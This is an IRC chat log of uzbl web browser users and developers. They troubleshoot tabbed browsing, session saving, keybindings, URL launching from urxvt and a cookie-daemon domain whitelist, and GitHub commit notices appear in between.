15:23 < axedcode> uzbl doesnt launch uzbl_tabbed, and uzbl_tabbed doesnt launch cookie_daemon
15:23 < axedcode> yes
15:23 < holizz> Dieterbe, A free cookie for renaming something?
15:24 < axedcode> with uzbl_tabbed i get talk_to_socket: connect failed (No such file or directory)
15:24 < axedcode> works with uzbl
15:24 < mason-l> axedcode, uzbl will never launch uzbl_tabbed.py! you need to launch uzbl_tabbed.py to have tabs. This is what I did:  ln -s $XDG_DATA_HOME/uzbl/scripts/uzbl_tabbed.py ~/.bin/uzblt
15:24 < mason-l> then launch uzblt
15:24 < linopolus> mason-l: i want to close uzbl-tabbed.py completely and store the session in the session file but i didn't found an option for this in the sample config from the wiki
15:24 < Dieterbe> Frots: it's 'queue' not 'que'
15:24 < mason-l> linopolus, I saw that and I've made some fixes in my branch, I'll upload them for you now.
15:25 < linopolus> thx
15:25 < Frots> Dieterbe: lol thanks
15:25 < Frots> but for the rest?
15:25 < Dieterbe> Frots: eval "$GET $file"  <-- security problem.  check if $GET $file works
15:25 < Frots> ok
15:25 < linopolus> i said it too times cause of 12:36:14      mason-l | linopolus, How can I help you with uzbl_tabbed.py ?
15:26 < axedcode> mason-l: thats exactly what i did
15:26 < mason-l> linopolus, Quite alright.
15:26 < Frots> Dieterbe: what about eval $GET "$file" ??
15:26 < Dieterbe> Frots: otherwise it looks fine, though i don't really see the usecase.  something that i would find usefull is more like: a script that can stop all wgets spawned by uzbl and puts the file they were doing in a file.  and then later the ability to resume all those downloads
15:26 < linopolus> mason-l: tell me when the changes are uploaded plz…
15:26 < rob|> uzbl_tabbed should live in a more prominent place than the downs of the wiki
15:26 < Dieterbe> Frots: that's the same. eval will evaluate all arguments
15:26 < linopolus> rob|: it is in one news entry
15:27 < linopolus> the second from top iirc
15:27 < Frots> Dieterbe: but what about urls with spaces in them?
15:27 < axedcode> ok i finally got it
15:27 < Dieterbe> Frots: convert them. but don't evaluate them
15:27 < Frots> ok
15:28 < axedcode> sorry for all the trouble...i think this is working good now
15:28 < axedcode> thanks for all the help too
15:28 < Dieterbe> Frots: maybe you want: $GET "$file"
15:28 < axedcode> one question about uzbl_tabbed, i asked yesterday but didnt get a response
15:28 < rob|> Dieterbe: i guess you've got access to the webserver?
15:28 < mason-l> linopolus, Uploading now.
15:28 < Frots> Dieterbe: that was what I meant
15:29 < Frots> thanks Dieterbe
15:29 < Dieterbe> rob|: yeah, why?
15:29 < axedcode> how can i close all instances while remembering all tabs. currently it onnly remembers the last tab
15:29 < mason-l> axedcode, I can help you debug that also
15:30 < rob|> Dieterbe: i think there should be a section/subsection "Tabbing" or something that links to a wiki page which in turn describes different ways to use uzbl in a tabbed setup
15:30 < rob|> Dieterbe: like uzbl_tabbed, xmonad's tabbed layout, etc.
15:30 < axedcode> ok
15:30 < mason-l> (1) open one and only one uzbl_tabbed.py (2) open several tabs (3) close uzbl_tabbed.py (4) check the contents of $XDG_DATA_HOME/uzbl/session
15:31 < mason-l> That will tell me if it is a problem loading or saving tabs.
15:31 < axedcode> one sec
15:31 < mason-l> @ axedcode ^
15:31 < Dieterbe> rob|: well, you already have a "scripts" section and a "configs" section which can be subdivided in sections such as tabbing and whatever.  i don't think we should add a section on the main site.  maybe a link from the faq section to the corresponding wiki section
15:32 < axedcode> mason-l: how should i close uzbl_tabbed? by closing all tabs doesnt make sense
15:32 < scj> what is the 'uzbl in real life' category?
15:32 < mason-l> axedcode, If you close each tab individually you aren't going to save the session.
15:32 < rob|> yeah, i guess that would be good enough. anyways, the wiki should be restructured a bit with an emphasis on the most used scripts
15:33 < Dieterbe> scj: click on it..
15:33 < rob|> and uzbl_tabbed is imo the most prominet one
15:33 < axedcode> mason-l: ok the session restores by killing the pid of uzblt
15:33 < axedcode> mason-l: how to automate this?
15:33 < Dr-Horrible1> I was thinking about handling exit, isn't it an idea to create an exit_handler which gets called on a sigterm?
15:33 < holizz> Which scripts are the most used? We could have a mini-survey.
15:33 < mason-l> axedcode, The problem isnt automating the killing of uzbl_tabbed.py the problem is in the way to close uzbl_tabbed.py
15:34 < axedcode> ok..
15:34 < linopolus> axedcode: bind blub = sh 'pkill uzbl_tabbed
15:34 < linopolus> '
15:34 < scj> i still don't get it...
15:34 < mason-l> linopolus, Here is the update http://github.com/mason-larobina/uzbl/blob/de07e980a04ac794b5820b765f50b6926415f8b2/examples/data/uzbl/scripts/uzbl_tabbed.py
15:34 < Dieterbe> rob|: i think the biggest problem with the wiki is you can only use 1 dimension for organisation. (eg we divide by scripts and configs. but sometimes a script goes hand in hand with a config trick, and to perform tabbing you can do it with scripts and/or config hacks, so ..)
15:35 < rob|> well, you can link the same thing from multiple places
15:35 < Dieterbe> ah, yeah true
15:35 < scj> and we should have a big howto page
15:35 < rob|> yeah
15:36 < Dieterbe> holizz: made a good point. it would be nice to do a survey/vote and post the results in a news item.  just not sure how to go about the poll/survey thing
15:36 < mason-l> axedcode, If you are using a non-tiling window manager I would say the correct way to close uzbl_tabbed.py is to click the "x" to close. Otherwise look up the keybinding to kill a process.
15:37 < linopolus> rah why isn't there a raw link. only download :(
15:37 < axedcode> mason-l: using a tiler
15:37 < axedcode> pkill wont work
15:37 < mason-l> linopolus, http://github.com/mason-larobina/uzbl/raw/de07e980a04ac794b5820b765f50b6926415f8b2/examples/data/uzbl/scripts/uzbl_tabbed.py
15:37 < holizz> Dieterbe, Did you see the Git Survey this year? We could do something like "Which of the following do you use always, frequently, sometimes, infrequently, never", and list all the scripts in examples and on the wiki. Then maybe do the same for variables and actions.
15:37 < linopolus> thx
15:38 < Dieterbe> rob|: heh. i was just thinking "i'll tell on irc that the faq shown on the site is included on uzbl git so anyone can add links on the faq and ask me to merge" but then i checked the faq myself and noticed the link is already there..
15:39 < axedcode> tried bind    \exit           = sh 'pkill python /home/axion/bin/uzblt'
15:39 < axedcode> as well as just uzblt, uzbl_tabbed.py
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15:39 < mason-l> axedcode, What I really need to do is make a kill binding for uzbl_tabbed.py for this situation.
15:39 < mason-l> axedcode, And by kill I mean exit.
15:40 < axedcode> how do YOU kill it?
15:40 < axedcode> in the meantime i mean
15:40 < Dieterbe> holizz: yeah sure, but i don't really feel like going over the entire wiki and listing all scripts/tweaks from it. i was thinking of something more free from where users give urls to the relevant wiki pages and then we can just `uniq -c | sort` the entries
15:40 < mason-l> I click the 'x' button.
15:40 < axedcode> d'oh
15:40 < axedcode> no titlebars here
15:40 < mason-l> axedcode, Do you use wmii ?
15:41 < axedcode> no, i use subtle, another Arch project :)
15:41 < mason-l> axedcode, If you give me an hour I'll add that exit binding.
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15:41 < mason-l> brb for now though.
15:41 < axedcode> mason-l: cool. i made some edits to cookie_daemon.py that i will post to the wiki later when im finished
15:42 < holizz> Dieterbe, Yep, free-form is probably a better idea. It'll just take a bit longer to normalise it though. But it's not like uzbl is so popular it would matter.
15:42 < Dieterbe> but then there's the question on how to avoid cheating and such..
15:42 < linopolus> axedcode: W-S-k???
15:42 < linopolus> the close button for subtle?!?
15:42 < axedcode> linopolus: closes a tab
15:43 < linopolus> oh ok
15:43 < Dieterbe> maybe we should just do this on the ML
15:43 < axedcode> i added domain whitelisting via a user-editable text file, 1 per line...all other domains dont get cookies stored.
15:43 < axedcode> still needs a little work though
15:44 < Dieterbe> cool
15:44 < linopolus> what script is better: cookie.sh or cookie.py?
15:44 < Dieterbe> .py
15:44 < axedcode> both slow from what ive been told
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15:46 < axedcode> where should such a whitelist text file be placed in the filesystem?
15:46 < axedcode> for the user to edit
15:46 < linopolus> $XDG_CONFIG_HOME
15:46 < axedcode> ok
15:46 < linopolus> see freedesktop.org iirc
15:49 < Dieterbe> $XDG_CONFIG_HOME/uzbl/
15:50 < axedcode> yeah better there i guess than with the script
15:54 < holizz> Dieterbe, Cheating? Hehe. I can imagine mason-l submitting uzbl_tabbed 1,000 times, and then us thinking uzbl_tabbed is so popular, it has even more users than uzbl itself.
15:54 < axedcode> does dmenu use a different path? i logged out and back in, and it still cant find my symlink to uzbl_tabbed
15:54 < axedcode> i have to type uzbl_tabbed...doesnt see uzblt
15:54 < mason-l> holizz, >:)
15:55 < mason-l> axedcode, Its probably that dmenu doesnt source .bashrc
15:55 < Dieterbe> holizz: i think it's technically impossible that uzbl_tabbed has more users then uzbl :P
15:55 < linopolus> axedcode: dmenu_run uses the $PATH spezified in /etc/profile
15:55 < linopolus> and /etc/profile sources /etc/profile.d/*
15:56 < mason-l> "<axedcode> mason-l: cool. i made some edits to cookie_daemon.py that i will post to the wiki later when im finished" <- Just branch Dieterbe's experimental repo and make your edits there.
15:57 < mason-l> And link it to us of course :)
15:57 < axedcode> although it sees uzbl_tabbed in in $XDG_DATA_SHARE or whatever
15:57 < holizz> Dieterbe, unless uzbl_tabbed supports embedding other browsers. You could have multiple instances of Firefox, in tabs... and then tabs in those tabs. You could embed uzbl_tabbed into itself... and have a tree structure.
15:57 < axedcode> mason-l: will do
15:57 < linopolus> holizz: lol
15:58 < mason-l> holizz, Unstoppable!
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15:58 < holizz> Forget tabbed browsing - treeed browsing is the future.
15:58 < scj> since there are more people with python installed than uzbl, it's not actually technically impossible, just improbable
15:58 < Dieterbe> holizz: whooooaaaaaaa. by reading that i actually understood how the universe worked for 1 second
15:59 < axedcode> i also became dumber than i already was
15:59 < mason-l> Dieterbe, Those darned moments of clarity.
15:59 < Dieterbe> holizz: can a gtk window be a socket and a plug at the same time/
15:59 < Dieterbe> ?
15:59 < holizz> Dieterbe, I don't see why not.
15:59 < scj> and if so; can it plug its own socket?
16:00 < mason-l> Dieterbe, Maybe but you wouldn't see it.
16:00 < Dieterbe> scj: holy moly! black hole!
16:00 < holizz> Although technically it wouldn't be a GtkWindow, it would be a GtkSocket, which is a container so it can contain a GtkPlug.
16:01 < holizz> Wait, the other way arround.
16:01 < holizz> s/Socket/Plug/,s/Plug/Socket/
16:01 < axedcode> linopolus: how do i clear dmenu's cache? its seeing uzbl_tabbed that was in /usr/bin but not anymore
16:01 < linopolus> kA
16:01 < linopolus> no idea
16:01 < axedcode> i evern logged out completely
16:02 < Dieterbe> dmenu doesn't cache anything afaik
16:02 < linopolus> something in $HOME
16:02 < axedcode> how can it be seeing uzbl_tabbed (no .py) then?
16:02 < mason-l> axedcode, Maybe its got a directory in ~/.config or ~/.local/share or ~/.cacher
16:02 < mason-l> s/cacher/cache/
16:02 < axedcode> launching it does nothing
16:02 < axedcode> because there is nothing by that name
16:03 < axedcode> /home/axion/.dmenu_cache
16:03 < axedcode> aha
16:03 < axedcode> it does
16:04 < linopolus> wtf why tree|grep dmenu didn't work. the file is there\
16:04 < axedcode> remove cache?
16:04 < axedcode> wworked for me
16:05 < linopolus> ah tree don't lists .* files
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16:07 < Dieterbe> mason-l: dmenu does not use xdg specs
16:08 < Dieterbe> i think suckless guys in general don't like fd.o
16:08 < mason-l> Dieterbe, They should suckless.
16:09 < Dieterbe> the problem is they don't realise xdg doesn't suck
16:11 < axedcode> what would be a good filename for the aforementioned whitelist text file?
16:11 < linopolus> cookie_whitelist?
16:13 < Dieterbe> +1 on that
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16:21 < axedcode> ok
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16:26 < mason-l> axedcode, I've added an exit keybinding for you
16:27 < mason-l> axedcode, http://github.com/mason-larobina/uzbl/raw/4ce187854300d9d0fd21d95dfa3c3db79473b61d/examples/data/uzbl/scripts/uzbl_tabbed.py
16:28 < linopolus> i'll use it, too :)
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16:46 < linopolus> mason-l: ehm very stupid question: what have i to bind for closing *g*
16:46 < mason-l> linopolus, You mean "gZ"
16:46 < mason-l> ?
16:47 < mason-l> Its just the convention I've gone with (to use "g" before uzbl_tabbed.py commands)
16:47 < linopolus> the part behind the =
16:47 < linopolus> bind gZ = what?
16:48 < mason-l> linopolus, No uzbl_tabbed does the binding, all you can change from the uzbl config file is the keybinding.
16:48 < mason-l> linopolus, You need to: set bind_exit = \exit
16:48 < mason-l> or something.
16:48 < mason-l> linopolus, Have a look at http://www.uzbl.org/wiki/uzbl_tabbed for more information.
16:48 < linopolus> ah ok
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17:07 < axedcode> mason, thanks
17:07 < mason-l> axedcode, No problem, don't hesitate to ask if you have any more troubles.
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17:09 < axedcode> there is one thing
17:11 < axedcode> ack nevermind
17:12 < axedcode> is it possible to not have 2 processes for every url?
17:12 < axedcode> i get a process for my wrapper and normal uzbl
17:12 < axedcode> for every tab
17:13 < axedcode> even if i change the url, the uri passed to the wrapper and uzbl stay the same in the process list
17:13 < axedcode> not to mention 2 of them
17:15 < linopolus> mason-l: modkey-number to switch between tabs like in vimperator would be great
17:15 < linopolus> gix isn't comfortable imo
17:15 < linopolus> or can i use sed bind_foo = modkey_?
17:16 < mason-l> linopolus, gix?
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17:16 < linopolus> mason-l: gi<number>
17:16 < mason-l> Oh right, yeah.
17:16 < linopolus> set bind_goto_tab           = gi_
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17:17 < mason-l> linopolus, I'll have to get back to you on that, give me a moment.
17:18 < mason-l> linopolus, but for the time being just change gi_ to something comfortable :P
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17:19 < axedcode> heh...correction, 5 processes for 2 tabs
17:20 < axedcode> 2 for the wrapper, 2 for uzbl, and 1 for uzl_tabbed
17:20 < mason-l> axedcode, Unlike the other issues, having 5 processes open isn't killing anybody. Its just the way uzbl is.
17:20 < axedcode> is that normal?
17:20 < axedcode> ok
17:20 < axedcode> thats all i wanted to know
17:20 < mason-l> axedcode, yes, very.
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17:23 < mason-l> linopolus, Well its very easy to do I am just thinking of the best way to do it.
17:28 < axedcode> mason-l: hmm, something else doesnt work with the changes
17:28 < axedcode> mason-l: in Xdefaults I can't use uzblt instead of uzbl to click urls
17:28 < axedcode> nothing happens, though uzblt works on command line
17:28 < mason-l> probably something to do with how its launched
17:29 < mason-l> check uzblt -h for help
17:29 < mason-l> and usage
17:29 < axedcode> ok
17:29 < mason-l> uzblt doesn't have a --uri option, every argument is interpreted as a uri.
17:30 < axedcode> urxvt*urlLauncher:  uzbl
17:30 < axedcode> err uzblt
17:30 < mason-l> I.e. uzblt google.com reddit.com uzbl.org github.com
17:30 < axedcode> whats wrong with that then?
17:31 < mason-l> How do you even launch uri's from urxt?
17:31 < mason-l> 'uzxvt
17:32 < Dieterbe> there's something about that on the wiki (but i couldn't get it to work :P)
17:32 < axedcode> by clicking a underlined url
17:32 < mason-l> axedcode, my uri's dont underline :(
17:32 < linopolus> klick on it or a script by bart trojanowski
17:32 < linopolus> the script is great
17:32 < axedcode> urxvt*perl-lib:     /usr/lib/urxvt/perl/
17:32 < axedcode> urxvt.perl-ext-common:  default,matcher
17:32 < axedcode> urxvt*urlLauncher:  uzblt
17:33 < linopolus> mason-l: !URxvt*urlLauncher: firefox
17:33 < axedcode> that will do it, but only 'uzbl', not 'uzblt'
17:33 < linopolus> !URxvt.perl-ext-common: default,matcher,-option-popup,-selection-popup,-readline
17:33 < linopolus> !URxvt.matcher.button: 1
17:33 < linopolus> ! URxvt.matcher.pattern.1:  \\bwww\\.[\\w-]+\\.[\\w./?&@#-]*[\\w/-]
17:33 < linopolus> !URxvt.matcher.pattern.1:  \\bwww\\.[\\w-]\\.[\\w./?&@#-].[\\w/-]
17:33 < linopolus> without the ! @ mason-l
17:33 < linopolus> commented out cause of the script
17:33 < axedcode> what does all that add for me linopolus ?
17:34 < axedcode> kinda cryptic :)
17:34 < mason-l> I've built urxvt without perl thats probably why.
17:34 < axedcode> oh yep, that'd do it
17:34 < mason-l> :D
17:35 < axedcode> i wonder what its trying to append to the uzblt command
17:35 < linopolus> axedcode: urllauncher is clear, perl-ext-common is used to import the matcher and default(get the url highlight/click work), matcher.button is the mouse button to click on the urls, matcher.pattern is the regexp to find the urls
17:35 < axedcode> i mean, id think itd at least say url not found if it was a non-existent switch
17:35 < axedcode> not even a window though
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17:35 < axedcode> hard to debug :/
17:36 < scj> why would you build urxvt without perl?
17:36 < linopolus> *g*
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17:36 < mason-l> scj, It was causing problems at the time. I've recently fixed my perl though so I should rebuild my terms.
17:37 < linopolus> axedcode: use a script that has the content: echo new $@ > /tmp/uzbltabbed*
17:38 < mason-l> linopolus, new will only take one uri at a time though but good thinking.
17:39 < axedcode> hmm
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17:40 < linopolus> mason-l: had to use such a script for opera with --backgroundtab :)
17:42 < axedcode> unfortunately that didnt create anything in /tmp
17:43 < mason-l> axedcode, You've probably set your fifo_dir or tmp_dir to something else
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17:45 < axedcode> hehe, i got it, so i need a wrapper for tabbed and regular uzbl...this is getting confusing now :)
17:45 < mason-l> axedcode, Its just getting fun you mean! :P
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17:46 < linopolus> *g8
17:47 < linopolus> *g*
17:47 < mason-l> <linopolus> *g* <- Whats with all the.. these things.
17:47  * axedcode grins
17:47 < linopolus> ?
17:48 < mason-l> linopolus, Just wondering what you're doing.
17:48 < axedcode> grinning. some people choose not to use /me actions :)
17:49 < mason-l> I've never seen grins look like *g* before.
17:49 < axedcode> its quite old and common
17:49 < mason-l> Looks like a koala.
17:49 < axedcode> lol
17:51 < axedcode> i think it'd be easier to start cookie_daemon in uzbl_tabbed
17:51 < scj> axedcode: does this work with uzbl_tabbed? http://pastie.org/595515
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17:53 < mason-l> axedcode, Yes and no. If you ever launch a uzbl instance without having launched uzbl_tabbed (to start the daemon) you'll be cookie-less.
17:54 < mason-l> So for that reason I launch the daemon in the uzbl wrapper.
17:54 < axedcode> scj: i havent had a problem with stale pipes/sockets laying around after started using uzbl_tabbed
17:54 < axedcode> cache dir is empty except cookie_daemon socket
17:55 < scj> axedcode: you said you wanted a wrapper script that works for tabbed and regular..
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17:55 < scj> i guess I misunderstood you
17:56 < axedcode> i'll try
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17:56 < scj> you probably weren't talking about stale fifos
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17:58 < linopolus> ich brauch fast keinen WM mehr!
17:58 < linopolus> nur noch fuer uzbl
17:59 < linopolus> oh sry
17:59 < Phillemann> Und welchen hast du für uzbl?
17:59 < linopolus> i use subtle atm
18:00 < linopolus> but i only need 2 tags in future: one for one term, one for uzbl
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18:00 < linopolus> in the term: dvtm
18:00 < linopolus> the tiling window manager for console!
18:01 < axedcode> scj: it seems uzbl_tabbed cleans up after itself...well at least i havent had stale files yet
18:01 < Phillemann> linopolus: Ah, I see. So you never have more than one terminal window open?
18:02 < linopolus> Phillemann: atm i use 2 terms, but i found dvtm so i could do all in one term
18:02 < axedcode> i tried dvtm. pretty confusing docs...couldnt get it to do much
18:04 < scj> tmux is the gentlemans terminal multiplexer
18:04 < linopolus> must change the mod key but the rest…
18:05 < linopolus> tmux is a terminal multiplexer, dvtm is a tiling WM
18:05 < axedcode> i also tried tmux, i couldnt replicate my screen hardstatus
18:05 < scj> I already got a wm, don't need another
18:06 < linopolus> scj: dvtm ius a tiling wm for command line :)
18:06 < scj> i know, I've tried dvtm briefly
18:07 < linopolus> hm nice it's almost the same keybind as in xmonad
18:11 < axedcode>  i still cant get uzbl_tabbed to launch with urxvt links
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18:30 < axedcode> mason-l: i can do "set bind_exit = \exit", but i can't do ^Q like i can close a tab in uzbl config with ^W
18:31 < axedcode> would like to exit with ^Q, and close a tab with ^W
18:32 < mason-l> And how exactly do you set ^Q commands?
18:32 < axedcode> bind    ^W              = exit
18:33 < axedcode> that will close a tab for regular uzbl
18:33 < axedcode> set bind_exit               = ^Q
18:33 < axedcode> will not exit
18:33 < axedcode> but this will
18:33 < axedcode> set bind_exit               = \exit
18:34 < mason-l> ^W doesn't work for me
18:34 < axedcode> its in the wiki
18:35 < mason-l> I just get an unknown symbol come up in my command line
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18:35 < axedcode> Binding ctrl+w to close uzbl
18:35 < axedcode> http://www.uzbl.org/wiki/configtricks?do=backlink
18:36 < axedcode> http://www.uzbl.org/wiki/configtricks
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18:38 < axedcode> ah it seems ctrl+q wont print the ^Q symbol
18:38 < axedcode> that could be why...i'll have to use another shortcut
18:40 < axedcode> damn everythings breaking left and right
18:41 < axedcode> now opening a second link with uzblt opens another window with 1 tab
18:41 < mason-l> axedcode, Well I just tested it myself and ^W works through uzbl_tabbed
18:41 < rob|> axedcode: an alternative way to handle bindings and other events: http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-August/000261.html
18:41 < axedcode> yeah its a problem with Q...i did ^Z
18:42 < mason-l> As you said its ^Q that doesn't generate the symbol thats the problem.
18:42 < axedcode> having another problem now...wrapper for uzblt isnt working
18:42 < axedcode> i get instances of uzblt instead of uzbl
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18:46 < axedcode> actually uzblt itself isnt
18:46 < axedcode> bypassed the wrapper
18:48 < axedcode> can anyone confirm this?
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18:54 < axedcode> i cannot get uzbl to open a 2nd tab
18:55 < axedcode> removed wrappers
19:04 < axedcode> problem is there is no way for link clicking to test if uzbl is open or not. if already open it should send 'new' to uzbltabbed socket
19:04 < axedcode> not sure how to work around that
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19:24 < axedcode> my question is how to check what the socket number is, so i can check if $XDG_CACHE_HOME/uzbl/uzbltabbed* exists
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19:51 < github> uzbl: Dieter Plaetinck experimental SHA1-c342ba5
19:51 < github> authors file
19:51 < github> http://bit.ly/ZOjGH
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20:15 < github> uzbl: Tom Adams master SHA1-46da0c9
20:15 < github> Remove redundant history_handler.
20:15 < github> http://bit.ly/sazLl
20:15 < github> uzbl: Tom Adams master SHA1-a86e78c
20:15 < github> PREFIX is /usr/local by default, not /usr.
20:15 < github> http://bit.ly/A2TeE
20:15 < github> uzbl: uranther master SHA1-0e7eed2
20:15 < github> Only exit insert mode if !always_insert_mode.
20:15 < github> http://bit.ly/WUKq1
20:15 < github> uzbl: Tom Adams master SHA1-36859a3
20:15 < github> Don't reset keycmd in load_start_cb.
20:15 < github> http://bit.ly/bb96d
20:15 < github> uzbl: Tom Adams master SHA1-254e4a4
20:16 < github> Merge branch 'experimental' into bf2
20:16 < github> http://bit.ly/3WjMQH
20:16 < github> uzbl: Dieter Plaetinck master SHA1-a281f9a
20:16 < github> Merge commit 'remotes/holizz/bf2'
20:16 < github> http://bit.ly/flBCc
20:16 < github> uzbl: Dieter Plaetinck master SHA1-9ffda40
20:16 < github> post-history-handler-deprecation documentation update
20:16 < github> http://bit.ly/uE2KO
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21:14 < github> uzbl: Tom Adams experimental SHA1-769f5f3
21:14 < github> Remove uzblctrl - use socat instead.
21:14 < github> http://bit.ly/kfccZ
21:14 < github> uzbl: Dieter Plaetinck experimental SHA1-eccf51e
21:14 < github> Merge commit 'remotes/holizz/nouzblctrl' into experimental
21:14 < github> http://bit.ly/PKoXd
21:14 < github> uzbl: Dieter Plaetinck experimental SHA1-ffa2b70
21:14 < github> add socat to list of recommended tools
21:14 < github> http://bit.ly/2DGx4O
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21:16 < holizz> netcat was recommended in some parts of the documentation, but only the OpenBSD version, and RedHat's fork do UNIX sockets.
21:16 < holizz> And that's all my branches merged.
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21:16 < holizz> Thanks, Dieterbe.
21:17 < Dieterbe> nah, i didn't merge the scroll one
21:18 < holizz> Yeah, but that needs work.
21:18 < holizz> So everything that should be merged was merged.
21:19 < holizz> git log Dieterbe/experimental | grep ^Author: | sort | uniq -c | sort -n | tac | nl | head
21:20 < holizz> Surprise surprise, Dieterbe's winning.
21:20 < Dieterbe> don't trust such statistics..
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21:21 < Dieterbe> most of my commits are either merge commits, or very small patches
21:21 < holizz> Definately don't trust ohloh's stats - that seems to be counting things twice.
21:41 < scj> doesn't ohloh claim that we have a few thousand lines of c++ too?
21:41 < scj> err, hundred
21:42 < bct> hah: http://www.ohloh.net/p/dswb
21:43 < holizz> It also puts a little warning sign up and says "very few comments". And then cites some huge percentage of the code being comments and says "this is not very many".
21:43 < scj> good job
21:45 < holizz> I was shocked when I saw C#... and then I saw "uzbl clone for Windows". ZOMG.
21:47 < bct> i wonder if it runs on mono, then we could have an uzbl clone for linux.
21:48 < holizz> You mean _another_ uzbl clone for Linux?
21:51 < bct> i'm trying to think up some sweet burn about Gnome accepting it since it's Mono, but it's just not working.
21:52 < holizz> Yeah. And what about Debian's decision to put it in the default "desktop" install? Gah. Did they even read the we-won't
21:53 < holizz> -sue-you-if-you-implement-it-perfectly-according-to-the-spec document?
21:54 < bct> that's very generous of microsoft.
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22:05 < github> uzbl: Dieter Plaetinck experimental SHA1-f1eae7b
22:05 < github> more reasonable max_conns{,_host}
22:05 < github> http://bit.ly/3tWYnm
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22:06 < kTT> hey, what happened with middle click?
22:06 < kTT> it stop working after today's update
22:11 < Dieterbe> hm?
22:12 < Dieterbe> you're running uzbl-git ?
22:12 < Dieterbe> (master branch) L
22:12 < Dieterbe> ?
22:12 < kTT> I've tried with both
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22:16 < Dieterbe> i suggest you report a bug
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22:41 < holizz> Current experimental is an insect: "f1ea". Teehee.
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22:44 < Dieterbe> ooookaaaay
22:44 < holizz> It must be remarked upon when the HEAD has an interesting name. It simply must!
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22:48 < Dieterbe> enough uzbl loving for me today
22:48 < Dieterbe> good night
22:51 < Dr-Horrible> good night
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22:54 < holizz> Night.
22:58 < Dr-Horrible> axedcode: Is your whitelist for cookie_daemon finished yet?
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23:04 < axedcode> no not yet i got sidetracked
23:04 < axedcode> soon though
23:04 < Dr-Horrible> Mail it to the mailinglist when you're done please :)
23:05 < axedcode> sure
23:05 < holizz> Oh Gmail... I just had an entire conversation with Dieterbe, and I only just realised I was constantly posting off-list.
23:06 < Dr-Horrible> What was the conclusion?
23:06 < axedcode> i'm trying to implement a better config file parser. currently using un-needed configobj library
23:07 < axedcode> when thats done i'll post it...probably tomorrow
23:09 < scj> or javascript :v
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23:14 < parolang> Question: How fast do you guys find UZBL to be?
23:15 < axedcode> pretty damn fast with a caching proxy and cookie_daemon replacing cookies.sh/py
23:15 < parolang> I haven't tried it yet, and maybe the answer should be to just try it, but I'm the reluctant sort who wants to try before he installs :)
23:15 < axedcode> yes definitely try it
23:16 < parolang> Ah, forgot about the cache thing.  What about for displaying arbitrary pages?
23:16 < axedcode> what do you mean?
23:16 < parolang> Well...start-up speed mostly.
23:16 < axedcode> instant. comparable to urxvt for me
23:16 < parolang> Okay, cool, thanks.
23:16 < parolang> I have some ideas for this thing :)
23:17 < axedcode> post any additions to the wiki :)
23:17 < parolang> Sure :)
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23:18 < holizz> What proxy setups does everybody use?
23:19 < axedcode> i use privoxy, though it doesn't cache
23:19 < holizz> Yeah, I'm just using privoxy too.
23:19 < bct> uzbl does caching within an instance.
23:20 < Dr-Horrible> I want privoxy but it's breaking my banking site and there is no whitelist yet...
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23:20 < parolang> bct: Good to know, thanks.
23:20 < holizz> Dr-Horrible, :set proxy_url =
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23:20 < axedcode> you can edit the rules privoxy uses. find out which element its modifying/blocking and remove/modify the rule
23:20 < axedcode> or do that :)
23:20 < Dr-Horrible> holizz: didn't think about that
23:21 < holizz> set proxy_url = http://127.0.0.1:8118/
23:21 < holizz> bind 'proxy = set proxy_url = http://127.0.0.1:8118/
23:21 < holizz> bind 'noproxy = set proxy_url =
23:21 < holizz> I  have a similar setup for cookies, scripts, and plugins.
23:22 < axedcode> yeah i do ctrl_p/P to toggle plugins
23:22 < axedcode> very handy to disable by default
23:22 < holizz> Yes, Flash disabled by default = necessary.
23:23 < axedcode> indeed. only time i use it is for youtube and i wrote a script to play youtube in mplayer
23:23 < holizz> I only use Flash for shitty video sites which aren't YouTube.
23:23 < axedcode> same here
23:23 < axedcode> which isnt that much
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23:24 < holizz> I could do with being able to see what a Flash object is... then I could copy/paste the URI if it's YouTube and use mplayer, or just enable plugins if it's a crappy video service.
23:26 < holizz> In Firefox you can right-click->adblock-object to find the URI of the object. So I'll need to find a way to do that. Probably JS.
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23:26 < axedcode> you could probably add a middle click object > privoxy rule, reload rpivoxy or something like that
23:27 < scj> someone should look into how we could add actions to the right click context menu
23:27 < axedcode> yeah js would be the best way
23:28 < axedcode> or how to disable right click menu altogether
23:28 < holizz> Yeah, I couldn't find anything in the WebKitGTK+ docs when I looked before.
23:28 < holizz> Maybe it's something to control via GTK.
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00:01 < axedcode> hmm, cookie_whitelist, or cookie_whitelist.txt?
00:01 < axedcode> cookie jar in data dir is cookies.txt
00:04 < holizz> But then cookies.txt is just the conventional name... most config files don't end with ".txt".
00:07 < axedcode> ok was curious to be consistent or not...if thats the standard i wont name the config .txt
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00:46 < axedcode> mason-l: you around?
00:47 < axedcode> dieterbe? anyone familiar with the cookie_daemon source?
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02:21 < axedcode> nevermind. i was just wondering why i couldnt print the value of some things...i see now it has to do with daemonizing. good news, my whitelister is ready to be tested
02:22 < axedcode> if someone could try it out before i post it, that'd be great
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03:02 < axedcode> seems to work perfect as expected
03:03 < axedcode> i'll post it after the day test
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06:17 < linopolus> YEAH i can scroll horizontally with my mouse wheel :)
06:17 < linopolus> it didn't work with opera, arora, midori, …
06:17 < linopolus> only with FF and uzbl!
06:19 < linopolus> hm
06:19 < linopolus> isthere a cookie script which stores the cookies when the browser is terminated?
06:22 < zodmaner> linopolus: I'm not sure, but isn't cookies.py that ship with uzbl already does this?
06:23 < linopolus> no
06:23 < linopolus> i tried them both
06:23 < zodmaner> Ah, I see.
06:26 < linopolus> hm i'll try the cookie_daemon.py if it's better
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06:58 < axedcode> linopolus: i just posted a modified cookie_daemon to the ML if you want to be the first to test it :)
07:02 < linopolus> axedcode: whats modified?
07:02 < axedcode> linopolus: same thing as original cookie daemon except adds whitelisting...only domains you put in a config file have cookies allowed...all others are blocked
07:02 < linopolus> and whats the ML?
07:02 < axedcode> mailing list
07:02 < linopolus> ah ok
07:03 < linopolus> can you upload it?
07:03 < axedcode> sure...sec
07:04 < axedcode> linopolus: http://omploader.org/vMjg1aA
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07:14 < linopolus> thx
07:18 < axedcode> linopolus: add allowed domains to cookie_whitelist. should be created in the same dir as uzbl config
07:19 < axedcode> umm see this: http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-August/000306.html
07:20 < linopolus> yes i looked to the diff :)
07:21 < axedcode> please let me know how it works if you try it
07:21 < linopolus> it works but i didn't edit the whitelist by now but i'll do it now
07:22 < axedcode> linopolus: currently the daemon process has to be killed and restarted if you edit the whitelist
07:22 < axedcode> i'm not sure i want it to keep reading the file...gotta find something better though
07:24 < linopolus> can i use *?
